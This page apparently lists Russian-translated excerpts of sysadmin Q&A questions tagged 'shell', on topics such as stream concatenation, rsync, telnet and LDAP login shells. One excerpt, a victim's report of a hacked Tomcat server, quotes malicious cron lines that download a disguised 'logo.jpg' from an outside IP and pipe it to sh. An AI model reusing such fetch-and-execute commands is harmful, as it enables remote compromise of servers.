Вопросы с тегом «shell»

Оболочка - это терминология для интерпретатора командной строки, наиболее часто используемая в Unix-подобных операционных системах, но также используемая для более детального взаимодействия с основанными на графическом интерфейсе операционными системами. Он не только позволяет пользователю запускать программы из текстового интерфейса, но и часто предлагает базовые функции программирования, такие как переменные, подстановка, перенаправление вывода и подстановочные знаки.

6
Каковы преимущества Powershell по сравнению с Cygwin / Unix-Shell
Locked . Этот вопрос и его ответы заблокированы, потому что вопрос не по теме, но имеет историческое значение. В настоящее время он не принимает новые ответы или взаимодействия. Очевидное различие, о котором я знаю, это возможность взаимодействия с некоторыми продуктами MS, такими как Exchange. Но для кого не нужно управлять …

1
Как объединить потоки?
Я знаю, что catможет объединять файлы, но мне нужно объединить смесь файлов и потоков и передать результат другому процессу. Для того, чтобы сделать вопрос более конкретным, я хочу , чтобы сцепить cat abc.sqlвместе с gzip -dc xyz.sql.gzи cat qvf.sqlи трубы все в одном потоке с mysql. Какой лучший способ достичь …
9 shell  pipe  cat 

2
Переопределить оболочку LDAP
У меня есть сервер LDAP и предопределенная оболочка (bash), установленная в нем. Но есть машина, на которой я хочу, чтобы при каждом входе в систему пользователя использовалась другая оболочка вместо оболочки, хранящейся в LDAP. Как я могу это сделать?? Может кто-нибудь дать мне какое-то направление в этом? Спасибо
9 ldap  shell  login 

11
Как найти IP-адрес шлюза в Linux
Какую команду вы можете использовать, чтобы найти IP-адрес шлюза (т.е. адрес домашнего маршрутизатора) для eth0 в Linux? Мне нужно получить IP-адрес из приложения командной строки для использования в сценарии оболочки.

4
Как установить заголовок терминала с помощью команды tput?
Благодаря этому ответу я обнаружил, что годами наивно настраивал цвета терминала в своем приглашении. Теперь я изменил свой .bashrc, чтобы использовать команды 'tput' для окрашивания различных элементов моего приглашения. Единственный оставшийся управляющий код, который у меня есть, это: TITLEBAR="\[\033]2; PROD - \u@\h:\w \007\]" Кто-нибудь знает, есть ли атрибут tput / …

3
Атака сценария оболочки на сервер Apache через cron неизвестного происхождения
Во время запуска проекта войны на сервере Apache Tomcat я обнаружил, что сервер был взломан. Пока бежит война, неизвестный cronбежит вот так [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh Загруженный logo.jpgимеет скрипт оболочки, который …

5
Запустить скрипт из любого места
У меня есть скрипт: #!/bin/bash echo "$(dirname $(readlink -e $1))/$(basename $1)" который сидит здесь: /home/myuser/bin/abspath.shкоторый имеет разрешения на выполнение. Если я бегу, echo $PATHя получаю следующее:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/myuser/bin Я хочу, чтобы из любой директории можно было звонить abspath <some_path_here>и вызывать мой скрипт. Я использую Bash, что я делаю не так?

5
Журнал команд, выполненных через ssh
Я хотел бы регистрировать все команды, выполненные через SSH. Сказать, ssh something@server.com COMMAND Я хочу войти "КОМАНДА" на server.com Я много искал, но ничего не смог найти. Есть еще один похожий вопрос, но я не думаю, что там есть решение. Как войти "удаленное выполнение через SSH" Я могу получить живой …
8 ssh  bash  logging  shell 

3
Custom Openssh Shell
Среда является Ubuntu Server 12.04 Я хотел бы создать пользователя на сервере, который может только ssh войти в оболочку, которая запускает tail -f в файле журнала и закрывает сеанс после завершения программы (ctrl + c). Есть ли способ добиться этого?
8 linux  ubuntu  ssh  shell 

4
Как удалить пустые исходные каталоги при перемещении папок с помощью rsync?
rsyncможет перемещаться в движущиеся папки очень похоже и превосходить традиционные mvсо следующими опциями: rsync -axvvES --remove-source-files source_directory /destination/ Однако одна вещь, которую я пока не могу сделать, это удалить оригинальные каталоги. --remove-source-filesФлаг делает только что, удаляет исходные файлы, но не также исходные каталоги. Хотелось бы, чтобы был и --remove-source-directoriesфлаг, но …
8 bash  shell  rsync  zsh 

3
Из скрипта оболочки, как я могу проверить, существует ли таблица в базе данных MySQL или нет?
Я пытаюсь написать сценарий, который позволяет пользователю выбрать, какие манипуляции ему нужно сделать на столе. Я хочу проверить, существует ли таблица или нет. Если он существует, я продолжу другие действия, иначе я выйду, сказав, что таблица не существует. Как я могу достичь этого.

2
Заставить скрипт оболочки работать в CentOS как демон?
РЕДАКТИРОВАТЬ: По какой-то причине половина моего поста была обрезана, не уверен, что случилось. Я скоро обновлю и опубликую, что это обновлено здесь наверху. РЕДАКТИРОВАТЬ: я обновил пост снова, извините за неполный вопрос. РЕДАКТИРОВАТЬ (8:55 вечера EST 10/10/2011): я обновил /srv/rhodecode/start.sh, как предложил Стивен, до сих пор не радует. Он продолжает …

7
Использование telnet в скрипте оболочки
Я использую команду telnet, чтобы проверить, отвечает ли порт MySQL. telnet 10.10.10.24 3306 Я использую символ Ctrl для отключения. Это работает, как ожидалось. Как мне использовать эту команду в сценарии оболочки?
8 shell 

5
Bash: кавычки удаляются, когда команда передается в качестве аргумента функции
Я пытаюсь реализовать механизм пробного запуска для моего сценария и сталкиваюсь с проблемой удаления кавычек, когда команда передается в качестве аргумента функции и приводит к неожиданному поведению. dry_run () { echo "$@" #printf '%q ' "$@" if [ "$DRY_RUN" ]; then return 0 fi "$@" } email_admin() { echo " …

2
Терминал показывает только $?
Недавно я настроил нового пользователя, используя «имя пользователя adduser» на своем сервере, и заметил, что при входе в систему я получаю: $ Кроме того, у моего нового пользователя нет подсветки папок или завершения табуляции. Однако, когда я вхожу в систему как root, я получаю полное приглашение терминала, а также выделение, …

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.